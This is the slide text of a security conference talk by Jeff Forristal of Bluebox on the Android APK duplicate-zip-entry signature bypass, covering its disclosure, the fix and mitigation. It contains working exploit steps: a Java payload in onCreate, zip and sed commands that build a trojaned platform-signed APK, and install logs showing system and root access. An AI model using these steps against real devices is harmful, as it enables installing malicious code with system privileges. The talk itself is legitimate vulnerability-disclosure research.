Android: One Root to Own Them All

Jeff Forristal / Bluebox

Image courtesy www.norebbo.com
Please Complete Speaker Feedback Survey

Or else...
Android Overview

What is Android?

Ecosystem

Google

Charts

Marketshare

Vendors

Wikipedia Quotes

History

Past Problems

Graphs

Logos
If you haven’t heard of Android...

...you’ve been living under a rock

(And you’re probably in the wrong briefing)
Once Upon A Time,
in a security lab not so far away
“Let’s take an Android app, and modify it, to spoof the GPS coordinates”
Smali & Baksmali

(decompiler & recompiler)
Why I can haz no maps?!?
Maps API is licensed...

API key is tied to app signature...

Changing the code breaks the signature...

We need a way to change code but not change the signature
Challenge Accepted!
Where Do Sigs Come From?

Time for birds & bees talk...
Where do apps get signatures?

PackageManager provides them

Where does PackageManager get them?

Copy of signer certificate

Where do those come from?

Loaded after successful verified app install, from APK

How does verification work?

All entries in the APK are cryptographically verified against signed hashes
ZipFile & JarVerifier

*(java.util.zip & java.util.jar)*

---

JarSigner / SignAPK

*(BTW, APK = Jar = Zip)*
Zip File Particulars

<3 Phil Katz, RIP
Anatomy
Anatomy

File 1
File 2
File 3
File 4
Central Directory
File 1 Meta-Data
File 2 Meta-Data
File 3 Meta-Data
File 4 Meta-Data
End Of Central Directory
Anatomy

File 1
File 2
File 3
File 4
Central Directory

"AndroidManifest.xml"
"classes.dex"
"resources.arsc"
"META-INF/Manifest.MF"
End Of Central Directory
Anatomy

File 1
File 2
File 3
File 4
Central Directory

“AndroidManifest.xml”
“classes.dex”
“resources.arsc”
“META-INF/Manifest.MF”
End Of Central Directory
Parsing

- `AndroidManifest.xml`
- `classes.dex`
- `resources.arsc`
- `META-INF/Manifest.MF`

ZipFile.java

HashMap

AndroidManifest.xml
classes.dex
resources.arsc
META-INF/Manifest.MF
Parsing

Central Directory

File 1
File 2
File 3
File 4

AndroidManifest.xml: ZipEntry
classes.dex: ZipEntry
resources.arsc: ZipEntry
META-INF/Manifest.MF: ZipEntry

ZipFile.java

HashMap

"AndroidManifest.xml"
"classes.dex"
"resources.arsc"
"META-INF/Manifest.MF"
End Of Central Directory
Parsing

ZipFile.java

```java
ZipEntry
AndroidManifest.xml:
classes.dex:
resources.arsc:
META-INF/Manifest.MF:
```

```
HashMap

“AndroidManifest.xml”
“classes.dex”
“resources.arsc”
“META-INF/Manifest.MF”
End Of Central Directory
```

Files:
- File 1
- File 2
- File 3
- File 4

Central Directory

```
AndroidManifest.xml:
classes.dex:
resources.arsc:
META-INF/Manifest.MF:
```
Parsing

Some Application

Central Directory

File 1
File 2
File 3
File 4

AndroidManifest.xml: ZipEntry
classes.dex: ZipEntry
resources.arsc: ZipEntry
META-INF/Manifest.MF: ZipEntry

ZipFile.java

HashMap

“AndroidManifest.xml”
“classes.dex”
“resources.arsc”
“META-INF/Manifest.MF”
End Of Central Directory
Verifying

File 1
File 2
File 3
File 4

Central Directory

MANIFEST.MF
File 1: Hash
File 2: Hash
File 3: Hash
File 4: Hash

File 1
File 2
File 3
File 4
Verifying
Verifying

File 1
File 2
File 3
File 4
Central Directory

MANIFEST.MF
File 1: Hash
File 2: Hash
File 3: Hash
File 4: Hash

*.SF
File 1: Hash
File 2: Hash
File 3: Hash
File 4: Hash

*.RSA
PKCS7
Pub Cert
Signed Hash
Verifying
Verification failure:

```
jeff$ adb install evil.apk
3063 KB/s (7776463 bytes in 2.479s)
  pkg: /data/local/tmp/evil.apk
Failure [INSTALL_PARSE_FAILED_NO_CERTIFICATES]
```
Verification failure:

jeff$ adb install evil.apk
3063 KB/s (7776463 bytes in 2.479s)
   pkg: /data/local/tmp/evil.apk
Failure [INSTALL_PARSE_FAILED_NO_CERTIFICATES]

E/PackageParser( 440): Package com.victim.app has no certificates at entry extra_file.bin; ignoring!
Verifying

- File 1: Hash
- File 2: Hash
- File 3: Hash
- File 4: Hash
- File 5: Hash

- MANIFEST.MF
- SIGN.SF
- SIGN.RSA

Central Directory

- File 1
- File 2
- File 3
- File 4

- PKCS7
  - Pub Cert
  - Signed Hash
Verifying

W/PackageParser(440): java.lang.SecurityException: META-INF/CERT.SF has invalid digest for some-file.bin in /data/app/vmdl-2023482334.tmp
Verifying

File 1: Hash
File 2: Hash
File 3: Hash
File 4: Hash

MANIFEST.MF
File 1: Hash
File 2: Hash
File 3: Hash
File 4: Hash

SIGN.SF
File 1: Hash
File 2: Hash
File 3: Hash
File 4: Hash
File 5: Hash

SIGN.RSA
PKCS7
Pub Cert
Signed Hash

Central Directory
Verifying

(I manually tried all of these variations)
But then I tried something else

(and I didn’t get a verification error!)
Android liked it!

```
jeff$ adb install doublefile.apk
4167 KB/s (7776562 bytes in 2.478s)
  pkg: /data/local/tmp/doublefile.apk
Success
```

```
Hmmmm......
```

**Surprise**
Jarsigner is happy...

```
jeff$ jarsigner -verify evil.apk
jar verified.
```

Android, not so much...

```
jeff$ adb install evil.apk
3063 KB/s (7776463 bytes in 2.479s)
  pkg: /data/local/tmp/evil.apk
Failure [INSTALL_PARSE_FAILED_NO_CERTIFICATES]
```
Jarsigner is happy...

```
jeff$ jarsigner -verify evil.apk
jar verified.
```

```
W/PackageParser( 440): Exception reading classes.dex in /data/app/vmdl-1276832140.tmp

W/PackageParser( 440): java.lang.SecurityException: META-INF/MANIFEST.MF has invalid digest for classes.dex in /data/app/vmdl-1276832140.tmp
```
Jarsigner is not happy...

```
jeff$ jarsigner -verify evil2.apk
jarsigner: java.lang.SecurityException: SHA1 digest error for classes.dex
```

But Android...

```
jeff$ adb install evil2.apk
3063 KB/s (7776463 bytes in 2.479s)
 pkg: /data/local/tmp/evil2.apk
Success
```
I Can Haz Maps!

Hey...wait a second...
“I’m pretty sure I’m not supposed to be able to do this”

- The start of every security story
How/why did this work?
**Flashback**

File 1

File 2

File 3

File 4

Central Directory

```
AndroidManifest.xml: ZipEntry
classes.dex: ZipEntry
resources.arsc: ZipEntry
META-INF/Manifest.MF: ZipEntry
```

```
HashMap
```

```
"AndroidManifest.xml"
"classes.dex"
"resources.arsc"
"META-INF/Manifest.MF"
End Of Central Directory
```

ZipFile.java

```
HashMap
```

```
AndroidManifest.xml
classes.dex
resources.arsc
META-INF/Manifest.MF
```
HashMap: a key-value hash table map

HashMap.put(): Associates the specified value with the specified key in this map. If the map previously contained a mapping for the key, the old value is replaced.
Parsing

File 1
File 2
File 3
File 4A
File 4B

Central Directory

“X”
“Y”
“Z”
“classes.dex”
“classes.dex”
Parsing
Parsing

File 1
File 2
File 3
File 4A
File 4B
Central Directory

ZipFile.java
HashMap

X: ZipEntry
Y: ZipEntry

“X”
“Y”
“Z”
“classes.dex”
“classes.dex”
File 1
File 2
File 3
File 4A
File 4B
Central Directory

“X”
“Y”
“Z”
“classes.dex”
“classes.dex”

ZipFile.java
HashMap

X:
Y:
Z:

ZipEntry
ZipEntry
ZipEntry
Parsing

Central Directory

File 1
File 2
File 3
File 4A
File 4B

ZipFile.java
HashMap

X: ZipEntry
Y: ZipEntry
Z: ZipEntry
classes.dex: ZipEntry

“X”
“Y”
“Z”
“classes.dex”
“classes.dex”
Parsing
Parsing

File 1
File 2
File 3
File 4A
File 4B
Central Directory

JarVerifier

ZipFile.java
HashMap

ZipEntry
ZipEntry
ZipEntry
ZipEntry
ZipEntry

X:
Y:
Z:
classes.dex:

“X”
“Y”
“Z”
“classes.dex”
“classes.dex”
Verification

**File 1**
**File 2**
**File 3**
**File 4A**
**File 4B**

Central Directory

JarVerifier

ZipFile.java

HashMap

X: ZipEntry
Y: ZipEntry
Z: ZipEntry

classes.dex: ZipEntry

“X”
“Y”
“Z”
“classes.dex”
“classes.dex”
Verification
Post-Verification
Post-Verification

installld

ZipFile.java

HashMap

X : Y

ZipEntry

ZipEntry

dexopt (written in C)

File 1
File 2
File 3
File 4A
File 4B
Central Directory

“X”
“Y”
“Z”
“classes.dex”
“classes.dex”

JarVerifier

File 4A
Forward Search
I Used this Trick For Good

Now let’s use it for awesome
Android Security

That’s not oxymoronic...
Each app is assigned it’s own sandbox (UID)

If your certs match, you can play in shared sandbox too
Base system defines a shared (virtual) sandbox, e.g.:

```xml
<?xml version="1.0" encoding="utf-8"?>
<manifest
    android:sharedUserId="android.uid.system"
    android:versionCode="10"
    android:versionName="@string/cvc_build_ver"
    package="com.whatever.app"
    xmlns:android="http://schemas.android.com/apk/res/android">
```

You can play too, if you’re signed by the platform cert
Pecking Order
Pecking Order

- Applications
- ADB Shell
- Radio, Net, Etc
- System
- Root
- Linux Kernel
Access all your apps

Access all your data

Access all your passwords

Control all your settings
System has a sandbox/shared UID...

Platform-signed apps are allowed into that sandbox...

I can change the code without changing the sig...

I need a platform-signed app, change it’s code, and see if I get system UID access!
Platform signed

*(every platform vendor is different)*

Requests `android.uid.system sharedUID`

*(things doing system-level stuff)*
Search app store for something from vendor
Meh, effort...

Look in /system/app/, find something usable
Even more effort due to odex’ing...

Happen to know that certain platform vendor B2B partnerships have 3rd parties writing system-level apps ...
<table>
<thead>
<tr>
<th>Android Apps</th>
<th>AnyConnect ICS+</th>
<th>Samsung AnyConnect</th>
<th>Rooted AnyConnect</th>
<th>HTC AnyConnect</th>
<th>Samsung (&lt; SEP2011) AnyConnect</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>AnyConnect ICS+</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>CISCO SYSTEMS, INC. / BUSINESS</td>
<td>CISCO SYSTEMS, INC. / BUSINESS</td>
<td>CISCO SYSTEMS, INC. / BUSINESS</td>
<td>CISCO SYSTEMS, INC. / BUSINESS</td>
<td>CISCO SYSTEMS, INC. / BUSINESS</td>
</tr>
<tr>
<td></td>
<td>(408)</td>
<td>(403)</td>
<td>(548)</td>
<td>(79)</td>
<td>(268)</td>
</tr>
<tr>
<td></td>
<td>INSTALL</td>
<td>INSTALL</td>
<td>INSTALL</td>
<td>INSTALL</td>
<td>INSTALL</td>
</tr>
<tr>
<td>Description</td>
<td>For Android 4.0+ (ICS+) devices. Connect to your network with AnyConnect. This package supports Android 4.X (ARM and Intel Android), but due to limitations with the An...</td>
<td>For Samsung Android devices. Connect to your network with AnyConnect. The following Samsung devices are supported: Galaxy S4 Galaxy S III AT&amp;T - Galaxy S II (SGH-I77...</td>
<td>For rooted devices ONLY! This version REQUIRES root permissions. Other AnyConnect images are available without this requirement. This technical preview supports Andro...</td>
<td>For HTC Android devices. Connect to your network with AnyConnect. A growing number of HTC Android devices are compatible with AnyConnect. For the latest list, please s...</td>
<td>For Samsung Android devices with SW &lt;Sep 2011 ONLY! Newer = Samsung AnyConnect. Samsung no longer permits updates to this version. Check for an OS update for your devi...</td>
</tr>
<tr>
<td>Rating</td>
<td>★★★☆☆☆</td>
<td>★★★☆☆☆</td>
<td>★★★☆☆☆</td>
<td>★★★☆☆☆</td>
<td>★★★☆☆☆</td>
</tr>
</tbody>
</table>

**Candidate**
jeff$ openssl pkcs7 -noout -inform DER -print_certs
   -in com.cisco.anyconnect.vpn.android.samsung-1/META-INF/CERT.RSA

subject=/C=KR/ST=South Korea/L=Suwon City/O=Samsung
Corporation/OU=DMC/CN=Samsung
Cert/emailAddress=android.os@samsung.com

jeff$ grep share com.cisco.anyconnect.vpn.android.samsung-1/AndroidManifest.xml

<manifest android:sharedUserId="android.uid.system"
android:versionCode="10"
android:versionName="@string/cvc_build_ver"
package="com.cisco.anyconnect.vpn.android.samsung"
Same package name; pick a service, application context, or main activity for payload one-shot
Throw code into onCreate(), who cares about design best practices...

```java
@Override
public void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    java.lang.Process p;
    try {
        p = Runtime.getRuntime().exec("id");
        BufferedReader in = new BufferedReader(new InputStreamReader(p.getInputStream()));
        String l;
        l = in.readLine();
        while(l != null){
            Log.v("PoC", l);
            l = in.readLine();
        }
    } catch (IOException e) {
        e.printStackTrace();
    }
}
```
Remove existing classes.dex code
   
   zip –d AnyConnect-10.apk classes.dex

Add evil classes.dey code
   
   zip –g AnyConnect-10.apk classes.dey

Add original classes.dex code
   
   zip –g AnyConnect-10.apk classes.dex

Change classes.dey -> classes.dex in APK
   
   sed s/classes.dey/classes.dex/ AnyConnect-10.apk > evil.apk
jeff$ adb install evil.apk
2749 KB/s (6485358 bytes in 2.303s)
  pkg: /data/local/tmp/evil.apk
Success

jeff$ adb logcat | grep PoC
V/PoC (24117): uid=1000(system) gid=1000(system)
groups=1004(input),1007(log),1015(sdcard_rw),1016(vpn),2002(diag),3001(net_bt_admin),3002(net_bt),3003(inet),3004(net_raw),3005(net_admin),3006(net_bw_stats),3007(net_bw_acct)
Hey, Wait A Minute!

System != root
System UID controls configuration files consumed by root processes

Minimal cleverness needed to escalate from system to root

E.g. “emulator hack”
jeff$ adb install evil.apk
2749 KB/s (6485358 bytes in 2.303s)
    pkg: /data/local/tmp/evil.apk
Success

jeff$ adb reboot

...wait...

jeff$ adb shell
root@android:/ # id
uid=0(root) gid=0(root)
Google reports **800M** activations in last 2 years*.

Code review of Android **1.6** shows this bug

So, affects all devices since **2009**

*http://venturebeat.com/2013/05/15/900m-android-activations-to-date-google-says/
ARM / x86 / i.MX / MIPS?
Don’t care, just works

ASLR / DEP?
Don’t care, just works

Android 2.3.x / 4.0.x / 4.1.x / 4.2.x?
Don’t care, just works

ASM-fu expertise to write shellcode?
Nope, just Java
Change other files? (e.g. AndroidManifest.xml)

Only app native libs (.so), same impact (code exec)

Would SELinux/SEAndroid stop this?

Don’t know, can’t test (send me device!); but ‘feels’ unlikely

Do I really need android.uid.system sharedUID?

No, if you can make do with only select system permissions

Is anything else besides Android affected?

How close were you paying attention...?
Change other files? (e.g. \texttt{AndroidManifest.xml})

Only app native libs (.so), same impact (code exec)

Would SELinux/SEAndroid stop this?

Don't know, can't test (send me device!); but 'feels' unlikely

Do I really need \texttt{android.uid.system}\_\texttt{sharedUID}?

No, if you can make do with only select system permissions

Is anything else besides Android affected?

How close were you paying attention…?
Google informed late **Feb 2013**, bug 8219321

Google broadcasted advisory + patch to Open Handset Alliance & other partners **Mar 2013**

Circa **mid-June 2013** I started seeing major device vendors issuing updates

Code should be released into AOSP by the time of this talk (**Aug 2013**)...
ZipFile.java only allows one entry per name

```java
for (int i = 0; i < numEntries; ++i) {
    ZipEntry newEntry = new ZipEntry(hdrBuf, bufferedStream);
    String entryName = newEntry.getName();
    if (entries.put(entryName, newEntry) != null) {
        throw new ZipException("Duplicate entry name: " + entryName);
    }
}
```

Fix
jeff$ adb install evil.apk
4153 KB/s (6485714 bytes in 1.525s)
  pkg: /data/local/tmp/evil.apk
Failure [INSTALL_PARSE_FAILED_CERTIFICATE_ENCODING]

W/PackageParser( 2933): Exception reading /data/app/vmdl979999460.tmp
W/PackageParser( 2933): java.util.zip.ZipException: Duplicate entry name: classes.dex
W/PackageParser( 2933): at java.util.zip.ZipFile.readCentralDir(ZipFile.java:368)
Update to latest firmware
...if your device vendor & carrier actually issue one... 😞

Don’t install APKs from untrusted sources
Google Play Store scans/filters for this exploit*

Use Bluebox OneRoot scanner
Free, checks if any installed APK on device contains exploit

*According to Google security contact; not personally verified
Available free on Google Play Store, from Bluebox

App com.cisco.anyconnect.vpn.android.htc contains exploit!
App com.joelapenna.foursquared contains exploit!

Rescan
Check Bluebox blog for ready-made PoC APKs

www.bluebox.com/blog/
Contact: jeff@bluebox.com

Special thanks:

Bluebox Android Team –
• Andrew Blaich, Felix Matenaar, Patrick Schulz

Google Security Team –
• Adrian Ludwig & all behind-the-scenes supporters

Androidxref.com –
• Used for all source code digging in this effort

Speaker feedback survey...complete it. K?

Thanks